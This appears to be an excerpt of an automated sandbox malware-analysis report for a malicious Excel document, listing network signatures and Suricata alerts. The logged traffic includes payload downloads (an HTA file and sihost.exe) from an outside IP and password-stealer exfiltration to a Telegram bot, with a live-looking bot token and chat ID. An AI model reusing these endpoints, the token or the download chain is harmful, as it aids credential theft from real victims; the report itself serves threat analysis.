Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbddc7e4bd5e0Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbe40cf9a0238Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbe5b5aaec62eHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbe7ce2b69c01Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbe9bda6024fbHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox View	JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\sihost.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49169 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49173 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49183 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49175 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49166 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49181 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49185 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49178 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49194 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49177 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49171 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49184 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49198 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49188 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49168 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49182 -> 188.114.97.3:443

Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 208.91.199.225:587
Source: global traffic	TCP traffic: 192.168.2.22:49205 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49207 -> 208.91.199.224:587
Source: global traffic	TCP traffic: 192.168.2.22:49211 -> 208.91.199.223:587

Source: global traffic	HTTP traffic detected: GET /JkAPbL HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: exi.linkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /JkAPbL HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: exi.linkConnection: Keep-AliveCookie: short_3115571=1
Source: global traffic	HTTP traffic detected: GET /xampp/sop/40.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.138Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/sop/40.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.138Connection: Keep-AliveRange: bytes=8897-If-Range: "14b8e-61f91eb4fa2a5"
Source: global traffic	HTTP traffic detected: GET /40/sihost.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.138Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49180 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49180 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.138

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_000007FE89437018 URLDownloadToFileW,

7_2_000007FE89437018

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3F860BC8.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /JkAPbL HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: exi.linkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /JkAPbL HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: exi.linkConnection: Keep-AliveCookie: short_3115571=1
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/14/2024%20/%207:15:53%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/15/2024%20/%207:26:06%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/sop/40.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.138Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/sop/40.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.138Connection: Keep-AliveRange: bytes=8897-If-Range: "14b8e-61f91eb4fa2a5"
Source: global traffic	HTTP traffic detected: GET /40/sihost.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.138Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
